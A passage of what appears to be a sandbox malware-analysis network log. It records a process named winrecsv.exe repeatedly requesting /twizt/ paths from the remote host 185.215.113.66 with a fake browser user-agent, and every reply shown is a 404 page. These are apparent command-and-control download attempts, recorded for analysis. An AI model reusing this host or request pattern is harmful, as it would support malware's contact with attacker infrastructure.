61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.7	49821	185.215.113.66	80	C:\Windows\winrecsv.exe

Timestamp	kBytes transferred	Direction	Data
Aug 15, 2022 18:32:47.189857006 CEST	7267	OUT	GET /twizt/2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:32:47.251492977 CEST	7268	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:32:47 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 15, 2022 18:32:48.278768063 CEST	7315	OUT	GET /twizt/3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:32:48.336374044 CEST	7318	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:32:48 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 15, 2022 18:32:49.350368023 CEST	7375	OUT	GET /twizt/4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:32:49.407743931 CEST	7376	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:32:49 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 15, 2022 18:32:50.423707008 CEST	7558	OUT	GET /twizt/5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:32:50.484554052 CEST	7559	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:32:50 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 15, 2022 18:32:51.508435011 CEST	7560	OUT	GET /twizt/6 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:32:51.565948963 CEST	7565	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:32:51 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.7	49842	185.215.113.66	80	C:\Windows\winrecsv.exe

Timestamp	kBytes transferred	Direction	Data
Aug 15, 2022 18:32:54.796464920 CEST	7774	OUT	GET /twizt/2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:32:54.854403019 CEST	7775	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:32:54 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 15, 2022 18:32:55.868633032 CEST	7875	OUT	GET /twizt/3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:32:55.924823999 CEST	7876	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:32:55 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 15, 2022 18:32:56.930187941 CEST	7922	OUT	GET /twizt/4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:32:56.986433029 CEST	7923	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:32:56 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
